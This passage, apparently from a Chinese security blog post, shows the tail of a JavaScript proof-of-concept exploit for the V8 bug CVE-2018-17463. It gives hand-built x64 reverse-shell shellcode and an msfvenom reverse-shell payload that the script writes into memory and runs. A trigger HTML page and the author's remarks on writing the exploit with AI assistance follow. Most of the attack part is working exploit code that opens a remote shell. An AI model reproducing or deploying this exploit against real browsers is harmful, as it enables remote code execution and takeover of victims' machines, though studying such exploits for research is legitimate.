    // sockaddr.sin_addr = ip
    
    let sock_data_high = 0x0002n | (BigInt(portWord) << 16n);  // family + port
    let sock_data_low = BigInt(ipDword);                        // IP address
    
    console.log(`    sockaddr high: 0x${sock_data_high.toString(16)}`);
    console.log(`    sockaddr low: 0x${sock_data_low.toString(16)}`);
    
    // socket(2, 1, 0) - 创建TCP socket
    shellcode.push(0x5e6a5f016a5f026an);  // push 0x2; pop rdi; push 0x1; pop rsi; push 0x6; pop rax
    shellcode.push(0x0002050f58050f99n);  // cdq; syscall; xchg rdi,rax; syscall
    
    // 准备 sockaddr_in 结构
    shellcode.push(0x0000000000000000n);  // push 0 (padding)
    shellcode.push(sock_data_low);         // push IP
    shellcode.push(sock_data_high << 32n); // push port+family
    
    // connect(sock, &sockaddr, 16)
    shellcode.push(0x5e545f106a2a6a00n);  // push 0x2a; pop rax; push 0x10; pop rdx; push rsp; pop rsi
    shellcode.push(0x026a050f00000000n);  // syscall; push 0x2; (dup2 prep)
    
    // dup2 loop (fd 2,1,0)
    shellcode.push(0x050f5e01485f0000n);  // pop rdi; dec rdi; pop rsi; syscall
    shellcode.push(0x050f5e014875f600n);  // jne loop; dec rdi; pop rsi; syscall
    
    // execve("/bin/sh", NULL, NULL)  
    shellcode.push(0x68732f6e69622f48n);  // movabs rax, '/bin/sh'
    shellcode.push(0x5f545299526a5000n);  // push rax; xor rdx,rdx; push rdx; push rsp; pop rdi
    shellcode.push(0x583b6a5e54050f00n);  // syscall; push rsp; pop rsi; push 0x3b; pop rax; syscall
    
    return shellcode;
}
// let shellcode=generateReverseShellcode("127.0.0.1",1991)
function hexToBytes(hex) {
    hex = hex.length % 2 ? '0' + hex : hex;
    let bytes = new Uint8Array(hex.length / 2);
    for (let i = 0; i < bytes.length; i++) {
        bytes[i] = parseInt(hex.substr(i*2, 2), 16);
    }
    return bytes;
}
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1991 -f hex
let shellcodeHex = "6a2958996a025f6a015e0f05489748b9020007c77f000001514889e66a105a6a2a580f056a035e48ffce6a21580f0575f66a3b589948bb2f62696e2f736800534889e752574889e60f05";
let shellcodeBytes = hexToBytes(shellcodeHex);
let data_view = new DataView(mem);
// for (let i = 0; i < 3; i++)
//   data_view.setBigUint64(8 * i, shellcode[i], true);
for (let i = 0; i < shellcodeBytes.length; i++) {
    data_view.setUint8(i, shellcodeBytes[i]);
}
print("[+] GetShell");
f();

用于触发的html页面

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Exploit Test</title>
</head>
<body>
    <h1>Running exploit...</h1>
    <script src="cve201817463.js"></script>
</body>
</html>

这一次是我在没看原始poc的情况下自己利用AI写的任意读写实现的poc(ps:ai肯定读过原始poc),感觉体验真的蛮不一样的,之前看别人的poc有时候自己也跑不起来,有时候看到太长跑起来就觉得懂意思了实际细节点很多的,这次自己去感受发现确实有遇到很多问题,特别是有些固有直觉的错误和一些大模型幻觉导致的难以debug出的问题,比如同一个obj是否相同布局方式,不完全是。

相关推荐
用户9623779544812 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机15 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机15 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544816 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star16 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544820 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全